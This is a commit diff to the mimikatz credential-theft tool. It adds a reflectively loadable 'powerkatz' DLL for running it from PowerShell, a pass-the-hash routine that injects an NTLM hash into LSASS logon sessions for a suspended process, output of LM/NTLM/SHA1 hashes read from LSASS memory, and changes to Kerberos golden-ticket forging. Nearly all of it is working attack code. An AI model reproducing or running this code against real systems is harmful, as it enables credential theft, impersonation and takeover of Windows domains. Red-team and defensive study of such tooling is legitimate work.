Pass-The-Hash enhancements, 'powerkatz', Kerberos keys better ouptut

This commit is contained in:
Benjamin DELPY 2014-05-05 01:24:54 +02:00
parent 2cb6326ba2
commit fd667773cb
20 changed files with 321 additions and 152 deletions

View File

@ -34,6 +34,14 @@
#define MIMIKATZ_DRIVER L"mimidrv" #define MIMIKATZ_DRIVER L"mimidrv"
#define MIMIKATZ_KERBEROS_EXT L"kirbi" #define MIMIKATZ_KERBEROS_EXT L"kirbi"
#ifdef _WINDLL
#define MIMIKATZ_AUTO_COMMAND_START 0
#define MIMIKATZ_AUTO_COMMAND_STRING L"powershell"
#else
#define MIMIKATZ_AUTO_COMMAND_START 1
#define MIMIKATZ_AUTO_COMMAND_STRING L"commandline"
#endif
#ifndef NT_SUCCESS #ifndef NT_SUCCESS
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#endif #endif

View File

@ -48,20 +48,32 @@ Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution GlobalSection(SolutionConfigurationPlatforms) = preSolution
Release|Win32 = Release|Win32 Release|Win32 = Release|Win32
Release|x64 = Release|x64 Release|x64 = Release|x64
Second_Release_PowerShell|Win32 = Second_Release_PowerShell|Win32
Second_Release_PowerShell|x64 = Second_Release_PowerShell|x64
EndGlobalSection EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution GlobalSection(ProjectConfigurationPlatforms) = postSolution
{FB9B5E61-7C34-4280-A211-E979E1D6977F}.Release|Win32.ActiveCfg = Release|Win32 {FB9B5E61-7C34-4280-A211-E979E1D6977F}.Release|Win32.ActiveCfg = Release|Win32
{FB9B5E61-7C34-4280-A211-E979E1D6977F}.Release|Win32.Build.0 = Release|Win32 {FB9B5E61-7C34-4280-A211-E979E1D6977F}.Release|Win32.Build.0 = Release|Win32
{FB9B5E61-7C34-4280-A211-E979E1D6977F}.Release|x64.ActiveCfg = Release|x64 {FB9B5E61-7C34-4280-A211-E979E1D6977F}.Release|x64.ActiveCfg = Release|x64
{FB9B5E61-7C34-4280-A211-E979E1D6977F}.Release|x64.Build.0 = Release|x64 {FB9B5E61-7C34-4280-A211-E979E1D6977F}.Release|x64.Build.0 = Release|x64
{FB9B5E61-7C34-4280-A211-E979E1D6977F}.Second_Release_PowerShell|Win32.ActiveCfg = Second_Release_PowerShell|Win32
{FB9B5E61-7C34-4280-A211-E979E1D6977F}.Second_Release_PowerShell|Win32.Build.0 = Second_Release_PowerShell|Win32
{FB9B5E61-7C34-4280-A211-E979E1D6977F}.Second_Release_PowerShell|x64.ActiveCfg = Second_Release_PowerShell|x64
{FB9B5E61-7C34-4280-A211-E979E1D6977F}.Second_Release_PowerShell|x64.Build.0 = Second_Release_PowerShell|x64
{E049487C-C5BD-471E-99AE-C756E70B6520}.Release|Win32.ActiveCfg = Release|Win32 {E049487C-C5BD-471E-99AE-C756E70B6520}.Release|Win32.ActiveCfg = Release|Win32
{E049487C-C5BD-471E-99AE-C756E70B6520}.Release|Win32.Build.0 = Release|Win32 {E049487C-C5BD-471E-99AE-C756E70B6520}.Release|Win32.Build.0 = Release|Win32
{E049487C-C5BD-471E-99AE-C756E70B6520}.Release|x64.ActiveCfg = Release|x64 {E049487C-C5BD-471E-99AE-C756E70B6520}.Release|x64.ActiveCfg = Release|x64
{E049487C-C5BD-471E-99AE-C756E70B6520}.Release|x64.Build.0 = Release|x64 {E049487C-C5BD-471E-99AE-C756E70B6520}.Release|x64.Build.0 = Release|x64
{E049487C-C5BD-471E-99AE-C756E70B6520}.Second_Release_PowerShell|Win32.ActiveCfg = Release|Win32
{E049487C-C5BD-471E-99AE-C756E70B6520}.Second_Release_PowerShell|x64.ActiveCfg = Release|x64
{86FF6D04-208C-442F-B27C-E4255DD39402}.Release|Win32.ActiveCfg = Release|Win32 {86FF6D04-208C-442F-B27C-E4255DD39402}.Release|Win32.ActiveCfg = Release|Win32
{86FF6D04-208C-442F-B27C-E4255DD39402}.Release|Win32.Build.0 = Release|Win32 {86FF6D04-208C-442F-B27C-E4255DD39402}.Release|Win32.Build.0 = Release|Win32
{86FF6D04-208C-442F-B27C-E4255DD39402}.Release|x64.ActiveCfg = Release|x64 {86FF6D04-208C-442F-B27C-E4255DD39402}.Release|x64.ActiveCfg = Release|x64
{86FF6D04-208C-442F-B27C-E4255DD39402}.Release|x64.Build.0 = Release|x64 {86FF6D04-208C-442F-B27C-E4255DD39402}.Release|x64.Build.0 = Release|x64
{86FF6D04-208C-442F-B27C-E4255DD39402}.Second_Release_PowerShell|Win32.ActiveCfg = Release|Win32
{86FF6D04-208C-442F-B27C-E4255DD39402}.Second_Release_PowerShell|x64.ActiveCfg = Release|x64
EndGlobalSection EndGlobalSection
GlobalSection(SolutionProperties) = preSolution GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE HideSolutionNode = FALSE

View File

@ -27,14 +27,14 @@ const KUHL_M * mimikatz_modules[] = {
int wmain(int argc, wchar_t * argv[]) int wmain(int argc, wchar_t * argv[])
{ {
int i, status = STATUS_SUCCESS; int i, status = STATUS_SUCCESS;
#ifndef _WINDLL
wchar_t input[0xff]; wchar_t input[0xff];
_setmode(_fileno(stdout), _O_U8TEXT); _setmode(_fileno(stdout), _O_U8TEXT);
_setmode(_fileno(stderr), _O_U8TEXT); _setmode(_fileno(stderr), _O_U8TEXT);
SetConsoleOutputCP(CP_UTF8); SetConsoleOutputCP(CP_UTF8);
SetConsoleTitle(MIMIKATZ L" " MIMIKATZ_VERSION L" " MIMIKATZ_ARCH); SetConsoleTitle(MIMIKATZ L" " MIMIKATZ_VERSION L" " MIMIKATZ_ARCH);
SetConsoleCtrlHandler(HandlerRoutine, TRUE); SetConsoleCtrlHandler(HandlerRoutine, TRUE);
#endif
kprintf(L"\n" kprintf(L"\n"
L" .#####. " MIMIKATZ_FULL L"\n" L" .#####. " MIMIKATZ_FULL L"\n"
L" .## ^ ##. \n" L" .## ^ ##. \n"
@ -42,13 +42,14 @@ int wmain(int argc, wchar_t * argv[])
L" ## \\ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )\n" L" ## \\ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )\n"
L" '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)\n" L" '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)\n"
L" '#####' with %3u modules * * */\n\n", sizeof(mimikatz_modules) / sizeof(KUHL_M *)); L" '#####' with %3u modules * * */\n\n", sizeof(mimikatz_modules) / sizeof(KUHL_M *));
mimikatz_initOrClean(TRUE); mimikatz_initOrClean(TRUE);
for(i = 1 ; (i < argc) && (status != STATUS_FATAL_APP_EXIT) ; i++) for(i = MIMIKATZ_AUTO_COMMAND_START ; (i < argc) && (status != STATUS_FATAL_APP_EXIT) ; i++)
{ {
kprintf(L"\n" MIMIKATZ L"(commandline) # %s\n", argv[i]); kprintf(L"\n" MIMIKATZ L"(" MIMIKATZ_AUTO_COMMAND_STRING L") # %s\n", argv[i]);
status = mimikatz_dispatchCommand(argv[i]); status = mimikatz_dispatchCommand(argv[i]);
} }
#ifndef _WINDLL
while (status != STATUS_FATAL_APP_EXIT) while (status != STATUS_FATAL_APP_EXIT)
{ {
kprintf(L"\n" MIMIKATZ L" # "); fflush(stdin); kprintf(L"\n" MIMIKATZ L" # "); fflush(stdin);
@ -58,6 +59,7 @@ int wmain(int argc, wchar_t * argv[])
status = mimikatz_dispatchCommand(input); status = mimikatz_dispatchCommand(input);
} }
} }
#endif
mimikatz_initOrClean(FALSE); mimikatz_initOrClean(FALSE);
return STATUS_SUCCESS; return STATUS_SUCCESS;
} }
@ -185,4 +187,21 @@ NTSTATUS mimikatz_doLocal(wchar_t * input)
LocalFree(argv); LocalFree(argv);
} }
return status; return status;
} }
#ifdef _WINDLL
__declspec(dllexport) wchar_t * powershell_reflective_mimikatz(LPCWSTR input)
{
int argc = 0;
wchar_t ** argv;
if(argv = CommandLineToArgvW(input, &argc))
{
outputBufferElements = 0xff;
if(outputBuffer = (wchar_t *) LocalAlloc(LPTR, outputBufferElements))
wmain(argc, argv);
LocalFree(argv);
}
return outputBuffer;
}
#endif

View File

@ -37,4 +37,8 @@ NTSTATUS mimikatz_initOrClean();
NTSTATUS mimikatz_doLocal(wchar_t * input); NTSTATUS mimikatz_doLocal(wchar_t * input);
/*NTSTATUS mimikatz_doRemote(wchar_t * input);*/ /*NTSTATUS mimikatz_doRemote(wchar_t * input);*/
NTSTATUS mimikatz_dispatchCommand(wchar_t * input); NTSTATUS mimikatz_dispatchCommand(wchar_t * input);
#ifdef _WINDLL
__declspec(dllexport) wchar_t * powershell_reflective_mimikatz(LPCWSTR input);
#endif

View File

@ -9,6 +9,14 @@
<Configuration>Release</Configuration> <Configuration>Release</Configuration>
<Platform>x64</Platform> <Platform>x64</Platform>
</ProjectConfiguration> </ProjectConfiguration>
<ProjectConfiguration Include="Second_Release_PowerShell|Win32">
<Configuration>Second_Release_PowerShell</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Second_Release_PowerShell|x64">
<Configuration>Second_Release_PowerShell</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup> </ItemGroup>
<PropertyGroup Label="Globals"> <PropertyGroup Label="Globals">
<ProjectGuid>{FB9B5E61-7C34-4280-A211-E979E1D6977F}</ProjectGuid> <ProjectGuid>{FB9B5E61-7C34-4280-A211-E979E1D6977F}</ProjectGuid>
@ -21,7 +29,8 @@
</PropertyGroup> </PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Label="Configuration"> <PropertyGroup Label="Configuration">
<ConfigurationType>Application</ConfigurationType> <ConfigurationType Condition="'$(Configuration)' != 'Second_Release_PowerShell'">Application</ConfigurationType>
<ConfigurationType Condition="'$(Configuration)' == 'Second_Release_PowerShell'">DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries> <UseDebugLibraries>false</UseDebugLibraries>
<WholeProgramOptimization>true</WholeProgramOptimization> <WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet> <CharacterSet>Unicode</CharacterSet>
@ -41,6 +50,7 @@
<LinkIncremental>false</LinkIncremental> <LinkIncremental>false</LinkIncremental>
<IncludePath>$(SolutionDir)inc;$(IncludePath)</IncludePath> <IncludePath>$(SolutionDir)inc;$(IncludePath)</IncludePath>
<LibraryPath>$(SolutionDir)lib\$(Platform);$(LibraryPath)</LibraryPath> <LibraryPath>$(SolutionDir)lib\$(Platform);$(LibraryPath)</LibraryPath>
<TargetName Condition="'$(Configuration)' == 'Second_Release_PowerShell'">powerkatz</TargetName>
</PropertyGroup> </PropertyGroup>
<ItemDefinitionGroup> <ItemDefinitionGroup>
<ClCompile> <ClCompile>
@ -174,10 +184,10 @@
<ClInclude Include="modules\sekurlsa\packages\kuhl_m_sekurlsa_tspkg.h" /> <ClInclude Include="modules\sekurlsa\packages\kuhl_m_sekurlsa_tspkg.h" />
<ClInclude Include="modules\sekurlsa\packages\kuhl_m_sekurlsa_wdigest.h" /> <ClInclude Include="modules\sekurlsa\packages\kuhl_m_sekurlsa_wdigest.h" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup Condition="'$(Configuration)' != 'Second_Release_PowerShell'">
<ResourceCompile Include="mimikatz.rc" /> <ResourceCompile Include="mimikatz.rc" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup Condition="'$(Configuration)' != 'Second_Release_PowerShell'">
<None Include="mimikatz.ico" /> <None Include="mimikatz.ico" />
</ItemGroup> </ItemGroup>
</Project> </Project>

View File

@ -169,7 +169,7 @@ NTSTATUS kuhl_m_kerberos_list(int argc, wchar_t * argv[])
{ {
for(i = 0; i < pKerbCacheResponse->CountOfTickets; i++) for(i = 0; i < pKerbCacheResponse->CountOfTickets; i++)
{ {
kprintf(L"\n[%08x] - %02x", i, pKerbCacheResponse->Tickets[i].EncryptionType); kprintf(L"\n[%08x] - 0x%08x - %s", i, pKerbCacheResponse->Tickets[i].EncryptionType, kuhl_m_kerberos_ticket_etype(pKerbCacheResponse->Tickets[i].EncryptionType));
kprintf(L"\n Start/End/MaxRenew: "); kprintf(L"\n Start/End/MaxRenew: ");
kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].StartTime); kprintf(L" ; "); kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].StartTime); kprintf(L" ; ");
kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].EndTime); kprintf(L" ; "); kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].EndTime); kprintf(L" ; ");
@ -242,7 +242,7 @@ NTSTATUS kuhl_m_kerberos_golden(int argc, wchar_t * argv[])
{ {
BYTE ntlm[LM_NTLM_HASH_LENGTH] = {0}; BYTE ntlm[LM_NTLM_HASH_LENGTH] = {0};
DWORD i, j, nbGroups, id = 500; DWORD i, j, nbGroups, id = 500;
PCWCHAR szUser, szDomain, szSid, szNtlm, szId, szGroups, base, filename; PCWCHAR szUser, szDomain, szSid, szNTLM, szId, szGroups, base, filename;
PISID pSid; PISID pSid;
PGROUP_MEMBERSHIP dynGroups = NULL, groups; PGROUP_MEMBERSHIP dynGroups = NULL, groups;
PDIRTY_ASN1_SEQUENCE_EASY App_KrbCred; PDIRTY_ASN1_SEQUENCE_EASY App_KrbCred;
@ -257,7 +257,7 @@ NTSTATUS kuhl_m_kerberos_golden(int argc, wchar_t * argv[])
{ {
if(ConvertStringSidToSid(szSid, (PSID *) &pSid)) if(ConvertStringSidToSid(szSid, (PSID *) &pSid))
{ {
if(kull_m_string_args_byName(argc, argv, L"krbtgt", &szNtlm, NULL)) if(kull_m_string_args_byName(argc, argv, L"krbtgt", &szNTLM, NULL))
{ {
if(kull_m_string_args_byName(argc, argv, L"id", &szId, NULL)) if(kull_m_string_args_byName(argc, argv, L"id", &szId, NULL))
id = wcstoul(szId, NULL, 0); id = wcstoul(szId, NULL, 0);
@ -293,14 +293,8 @@ NTSTATUS kuhl_m_kerberos_golden(int argc, wchar_t * argv[])
groups = defaultGroups; groups = defaultGroups;
nbGroups = sizeof(defaultGroups) / sizeof(GROUP_MEMBERSHIP); nbGroups = sizeof(defaultGroups) / sizeof(GROUP_MEMBERSHIP);
} }
if(kull_m_string_stringToHex(szNTLM, ntlm, sizeof(ntlm)))
if(wcslen(szNtlm) == (LM_NTLM_HASH_LENGTH * 2))
{ {
for(i = 0; i < LM_NTLM_HASH_LENGTH; i++)
{
swscanf_s(&szNtlm[i*2], L"%02x", &j);
ntlm[i] = (BYTE) j;
}
kprintf( kprintf(
L"User : %s\n" L"User : %s\n"
L"Domain : %s\n" L"Domain : %s\n"
@ -334,7 +328,7 @@ NTSTATUS kuhl_m_kerberos_golden(int argc, wchar_t * argv[])
} }
else PRINT_ERROR(L"Missing domain argument\n"); else PRINT_ERROR(L"Missing domain argument\n");
} }
else PRINT_ERROR(L"Missing admin argument\n"); else PRINT_ERROR(L"Missing user argument\n");
if(dynGroups) if(dynGroups)
LocalFree(groups); LocalFree(groups);

View File

@ -19,18 +19,22 @@ void kuhl_m_kerberos_ticket_display(PKIWI_KERBEROS_TICKET ticket, BOOL encodedTi
kprintf(L" ( %wZ )", &ticket->Description); kprintf(L" ( %wZ )", &ticket->Description);
kprintf(L"\n\t Flags %08x : ", ticket->TicketFlags); kprintf(L"\n\t Flags %08x : ", ticket->TicketFlags);
kuhl_m_kerberos_ticket_displayFlags(ticket->TicketFlags); kuhl_m_kerberos_ticket_displayFlags(ticket->TicketFlags);
kprintf(L"\n\t Session Key (%02x) : ", ticket->KeyType); kprintf(L"\n\t Session Key : 0x%08x - %s", ticket->KeyType, kuhl_m_kerberos_ticket_etype(ticket->KeyType));
if(ticket->Key.Value) if(ticket->Key.Value)
kull_m_string_wprintf_hex(ticket->Key.Value, ticket->Key.Length, 1); {
kprintf(L"\n\t Ticket (%02x - %02x) : ", ticket->TicketKvno, ticket->TicketEncType); kprintf(L"\n\t ");
kull_m_string_wprintf_hex(ticket->Key.Value, ticket->Key.Length, 0);
}
kprintf(L"\n\t Ticket : 0x%08x - %s ; kvno = %u", ticket->TicketEncType, kuhl_m_kerberos_ticket_etype(ticket->TicketEncType), ticket->TicketKvno);
if(encodedTicketToo) if(encodedTicketToo)
{ {
kprintf(L"\n\t ");
if(ticket->Ticket.Value) if(ticket->Ticket.Value)
kull_m_string_wprintf_hex(ticket->Ticket.Value, ticket->Ticket.Length, 1); kull_m_string_wprintf_hex(ticket->Ticket.Value, ticket->Ticket.Length, 1);
else PRINT_ERROR_AUTO(L"NULL Ticket Value !"); else PRINT_ERROR_AUTO(L"NULL Ticket Value !");
} }
else kprintf(L"[...]"); else kprintf(L"\t[...]");
} }
const PCWCHAR TicketFlagsToStrings[] = { const PCWCHAR TicketFlagsToStrings[] = {
@ -63,6 +67,42 @@ void kuhl_m_kerberos_ticket_displayExternalName(IN LPCWSTR prefix, IN PKERB_EXTE
kprintf(L"@ %wZ", pDomain); kprintf(L"@ %wZ", pDomain);
} }
PCWCHAR kuhl_m_kerberos_ticket_etype(LONG eType)
{
PCWCHAR type;
switch(eType)
{
case KERB_ETYPE_NULL: type = L"null "; break;
case KERB_ETYPE_DES_PLAIN: type = L"des_plain "; break;
case KERB_ETYPE_DES_CBC_CRC: type = L"des_cbc_crc "; break;
case KERB_ETYPE_DES_CBC_MD4: type = L"des_cbc_md4 "; break;
case KERB_ETYPE_DES_CBC_MD5: type = L"des_cbc_md5 "; break;
case KERB_ETYPE_DES_CBC_MD5_NT: type = L"des_cbc_md5_nt "; break;
case KERB_ETYPE_RC4_PLAIN: type = L"rc4_plain "; break;
case KERB_ETYPE_RC4_PLAIN2: type = L"rc4_plain2 "; break;
case KERB_ETYPE_RC4_PLAIN_EXP: type = L"rc4_plain_exp "; break;
case KERB_ETYPE_RC4_LM: type = L"rc4_lm "; break;
case KERB_ETYPE_RC4_MD4: type = L"rc4_md4 "; break;
case KERB_ETYPE_RC4_SHA: type = L"rc4_sha "; break;
case KERB_ETYPE_RC4_HMAC_NT: type = L"rc4_hmac_nt "; break;
case KERB_ETYPE_RC4_HMAC_NT_EXP: type = L"rc4_hmac_nt_exp "; break;
case KERB_ETYPE_RC4_PLAIN_OLD: type = L"rc4_plain_old "; break;
case KERB_ETYPE_RC4_PLAIN_OLD_EXP: type = L"rc4_plain_old_exp"; break;
case KERB_ETYPE_RC4_HMAC_OLD: type = L"rc4_hmac_old "; break;
case KERB_ETYPE_RC4_HMAC_OLD_EXP: type = L"rc4_hmac_old_exp "; break;
case KERB_ETYPE_AES128_CTS_HMAC_SHA1_96_PLAIN: type = L"aes128_hmac_plain"; break;
case KERB_ETYPE_AES256_CTS_HMAC_SHA1_96_PLAIN: type = L"aes256_hmac_plain"; break;
case KERB_ETYPE_AES128_CTS_HMAC_SHA1_96: type = L"aes128_hmac "; break;
case KERB_ETYPE_AES256_CTS_HMAC_SHA1_96: type = L"aes256_hmac "; break;
default: type = L"unknow "; break;
}
return type;
}
PDIRTY_ASN1_SEQUENCE_EASY kuhl_m_kerberos_ticket_createAppTicket(PKIWI_KERBEROS_TICKET ticket) PDIRTY_ASN1_SEQUENCE_EASY kuhl_m_kerberos_ticket_createAppTicket(PKIWI_KERBEROS_TICKET ticket)
{ {
PDIRTY_ASN1_SEQUENCE_EASY App_Ticket, Seq_Ticket, Ctx_Ticket; PDIRTY_ASN1_SEQUENCE_EASY App_Ticket, Seq_Ticket, Ctx_Ticket;

View File

@ -102,6 +102,7 @@ typedef struct _KIWI_KERBEROS_TICKET {
void kuhl_m_kerberos_ticket_display(PKIWI_KERBEROS_TICKET ticket, BOOL encodedTicketToo); void kuhl_m_kerberos_ticket_display(PKIWI_KERBEROS_TICKET ticket, BOOL encodedTicketToo);
void kuhl_m_kerberos_ticket_displayFlags(ULONG flags); void kuhl_m_kerberos_ticket_displayFlags(ULONG flags);
void kuhl_m_kerberos_ticket_displayExternalName(IN LPCWSTR prefix, IN PKERB_EXTERNAL_NAME pExternalName, IN PUNICODE_STRING pDomain); void kuhl_m_kerberos_ticket_displayExternalName(IN LPCWSTR prefix, IN PKERB_EXTERNAL_NAME pExternalName, IN PUNICODE_STRING pDomain);
PCWCHAR kuhl_m_kerberos_ticket_etype(LONG eType);
PDIRTY_ASN1_SEQUENCE_EASY kuhl_m_kerberos_ticket_createAppKrbCred(PKIWI_KERBEROS_TICKET ticket); PDIRTY_ASN1_SEQUENCE_EASY kuhl_m_kerberos_ticket_createAppKrbCred(PKIWI_KERBEROS_TICKET ticket);
PDIRTY_ASN1_SEQUENCE_EASY kuhl_m_kerberos_ticket_createAppTicket(PKIWI_KERBEROS_TICKET ticket); PDIRTY_ASN1_SEQUENCE_EASY kuhl_m_kerberos_ticket_createAppTicket(PKIWI_KERBEROS_TICKET ticket);

View File

@ -89,4 +89,12 @@ typedef struct _KUHL_M_SEKURLSA_PACKAGE {
BOOL isValid; BOOL isValid;
const wchar_t * ModuleName; const wchar_t * ModuleName;
KUHL_M_SEKURLSA_LIB Module; KUHL_M_SEKURLSA_LIB Module;
} KUHL_M_SEKURLSA_PACKAGE, *PKUHL_M_SEKURLSA_PACKAGE; } KUHL_M_SEKURLSA_PACKAGE, *PKUHL_M_SEKURLSA_PACKAGE;
typedef struct _SEKURLSA_PTH_DATA {
PLUID LogonId;
PCWCHAR UserName;
PCWCHAR LogonDomain;
LPBYTE NtlmHash;
BOOL isReplaceOk;
} SEKURLSA_PTH_DATA, *PSEKURLSA_PTH_DATA;

View File

@ -18,7 +18,7 @@ const KUHL_M_C kuhl_m_c_sekurlsa[] = {
{kuhl_m_sekurlsa_process, L"process", L"Switch (or reinit) to LSASS process context"}, {kuhl_m_sekurlsa_process, L"process", L"Switch (or reinit) to LSASS process context"},
{kuhl_m_sekurlsa_minidump, L"minidump", L"Switch (or reinit) to LSASS minidump context"}, {kuhl_m_sekurlsa_minidump, L"minidump", L"Switch (or reinit) to LSASS minidump context"},
{kuhl_m_sekurlsa_msv_pth, L"pth", L"Pass-the-hash"}, {kuhl_m_sekurlsa_pth, L"pth", L"Pass-the-hash"},
{kuhl_m_sekurlsa_kerberos_tickets, L"tickets", L"List Kerberos tickets"}, {kuhl_m_sekurlsa_kerberos_tickets, L"tickets", L"List Kerberos tickets"},
{kuhl_m_sekurlsa_kerberos_keys, L"ekeys", L"List Kerberos Encryption Keys"}, {kuhl_m_sekurlsa_kerberos_keys, L"ekeys", L"List Kerberos Encryption Keys"},
{kuhl_m_sekurlsa_dpapi, L"dpapi", L"List Cached MasterKeys"}, {kuhl_m_sekurlsa_dpapi, L"dpapi", L"List Cached MasterKeys"},
@ -420,6 +420,69 @@ NTSTATUS kuhl_m_sekurlsa_getLogonData(const PKUHL_M_SEKURLSA_PACKAGE * lsassPack
return kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_logondata, &OptionalData); return kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_logondata, &OptionalData);
} }
NTSTATUS kuhl_m_sekurlsa_pth(int argc, wchar_t * argv[])
{
BYTE ntlm[LM_NTLM_HASH_LENGTH];
TOKEN_STATISTICS tokenStats;
SEKURLSA_PTH_DATA data = {&(tokenStats.AuthenticationId), NULL, NULL, ntlm, FALSE};
PCWCHAR szRun, szNTLM;
DWORD dwNeededSize;
HANDLE hToken;
PROCESS_INFORMATION processInfos;
if(kull_m_string_args_byName(argc, argv, L"user", &data.UserName, NULL))
{
if(kull_m_string_args_byName(argc, argv, L"domain", &data.LogonDomain, NULL))
{
if(kull_m_string_args_byName(argc, argv, L"ntlm", &szNTLM, NULL))
{
if(kull_m_string_stringToHex(szNTLM, ntlm, sizeof(ntlm)))
{
kull_m_string_args_byName(argc, argv, L"run", &szRun, L"cmd.exe");
kprintf(L"user\t: %s\ndomain\t: %s\nNTLM\t: ", data.UserName, data.LogonDomain);
kull_m_string_wprintf_hex(data.NtlmHash, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n");
kprintf(L"Program\t: %s\n", szRun);
if(kull_m_process_create(KULL_M_PROCESS_CREATE_LOGON, szRun, CREATE_SUSPENDED, NULL, LOGON_NETCREDENTIALS_ONLY, data.UserName, data.LogonDomain, L"", &processInfos, FALSE))
{
kprintf(L" | PID %u\n | TID %u\n",processInfos.dwProcessId, processInfos.dwThreadId);
if(OpenProcessToken(processInfos.hProcess, TOKEN_READ, &hToken))
{
if(GetTokenInformation(hToken, TokenStatistics, &tokenStats, sizeof(tokenStats), &dwNeededSize))
{
kprintf(L" | LUID %u ; %u (%08x:%08x)\n", tokenStats.AuthenticationId.HighPart, tokenStats.AuthenticationId.LowPart, tokenStats.AuthenticationId.HighPart, tokenStats.AuthenticationId.LowPart);
kprintf(L" \\_ msv1_0 - ");
kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_msv_pth, &data);
kprintf(L"\n");
kprintf(L" \\_ kerberos - ");
kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_kerberos_pth, &data);
kprintf(L"\n");
}
else PRINT_ERROR_AUTO(L"GetTokenInformation");
CloseHandle(hToken);
}
else PRINT_ERROR_AUTO(L"OpenProcessToken");
if(data.isReplaceOk)
NtResumeProcess(processInfos.hProcess);
else
NtTerminateProcess(processInfos.hProcess, STATUS_FATAL_APP_EXIT);
CloseHandle(processInfos.hThread);
CloseHandle(processInfos.hProcess);
}
else PRINT_ERROR_AUTO(L"CreateProcessWithLogonW");
}
else PRINT_ERROR(L"ntlm hash length must be 32 (16 bytes)\n");
}
else PRINT_ERROR(L"Missing argument : ntlm\n");
}
else PRINT_ERROR(L"Missing argument : domain\n");
}
else PRINT_ERROR(L"Missing argument : user\n");
return STATUS_SUCCESS;
}
VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds, PLUID luid, ULONG flags) VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds, PLUID luid, ULONG flags)
{ {
PUNICODE_STRING credentials, username = NULL, domain = NULL, password = NULL; PUNICODE_STRING credentials, username = NULL, domain = NULL, password = NULL;
@ -445,16 +508,25 @@ VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCred
{ {
case KUHL_SEKURLSA_CREDS_DISPLAY_PRIMARY: case KUHL_SEKURLSA_CREDS_DISPLAY_PRIMARY:
pPrimaryCreds = (PMSV1_0_PRIMARY_CREDENTIAL) credentials->Buffer; pPrimaryCreds = (PMSV1_0_PRIMARY_CREDENTIAL) credentials->Buffer;
kuhl_m_sekurlsa_utils_NlpMakeRelativeOrAbsoluteString(pPrimaryCreds, &pPrimaryCreds->UserName, FALSE); kuhl_m_sekurlsa_utils_NlpMakeRelativeOrAbsoluteString(pPrimaryCreds, &pPrimaryCreds->UserName, FALSE);
kuhl_m_sekurlsa_utils_NlpMakeRelativeOrAbsoluteString(pPrimaryCreds, &pPrimaryCreds->LogonDomainName, FALSE); kuhl_m_sekurlsa_utils_NlpMakeRelativeOrAbsoluteString(pPrimaryCreds, &pPrimaryCreds->LogonDomainName, FALSE);
kprintf(L"\n\t * Username : %wZ" kprintf(L"\n\t * Username : %wZ\n\t * Domain : %wZ", &pPrimaryCreds->UserName, &pPrimaryCreds->LogonDomainName);
L"\n\t * Domain : %wZ" if(pPrimaryCreds->isLmOwfPassword)
, &pPrimaryCreds->UserName, &pPrimaryCreds->LogonDomainName); {
kprintf(L"\n\t * LM : "); kull_m_string_wprintf_hex(pPrimaryCreds->LmOwfPassword, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n\t * LM : ");
kprintf(L"\n\t * NTLM : "); kull_m_string_wprintf_hex(pPrimaryCreds->NtOwfPassword, LM_NTLM_HASH_LENGTH, 0); kull_m_string_wprintf_hex(pPrimaryCreds->LmOwfPassword, LM_NTLM_HASH_LENGTH, 0);
kprintf(L"\n\t * SHA1 : "); kull_m_string_wprintf_hex(pPrimaryCreds->ShaOwPassword, SHA_DIGEST_LENGTH, 0); }
if(pPrimaryCreds->isNtOwfPassword)
{
kprintf(L"\n\t * NTLM : ");
kull_m_string_wprintf_hex(pPrimaryCreds->NtOwfPassword, LM_NTLM_HASH_LENGTH, 0);
}
if(pPrimaryCreds->isShaOwPassword)
{
kprintf(L"\n\t * SHA1 : ");
kull_m_string_wprintf_hex(pPrimaryCreds->ShaOwPassword, SHA_DIGEST_LENGTH, 0);
}
break; break;
case KUHL_SEKURLSA_CREDS_DISPLAY_CREDENTIALKEY: case KUHL_SEKURLSA_CREDS_DISPLAY_CREDENTIALKEY:
pRpceCredentialKeyCreds = (PRPCE_CREDENTIAL_KEYCREDENTIAL) credentials->Buffer; pRpceCredentialKeyCreds = (PRPCE_CREDENTIAL_KEYCREDENTIAL) credentials->Buffer;
@ -484,16 +556,19 @@ VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCred
else if(flags & KUHL_SEKURLSA_CREDS_DISPLAY_KEY_LIST) else if(flags & KUHL_SEKURLSA_CREDS_DISPLAY_KEY_LIST)
{ {
pHashPassword = (PKERB_HASHPASSWORD_GENERIC) mesCreds; pHashPassword = (PKERB_HASHPASSWORD_GENERIC) mesCreds;
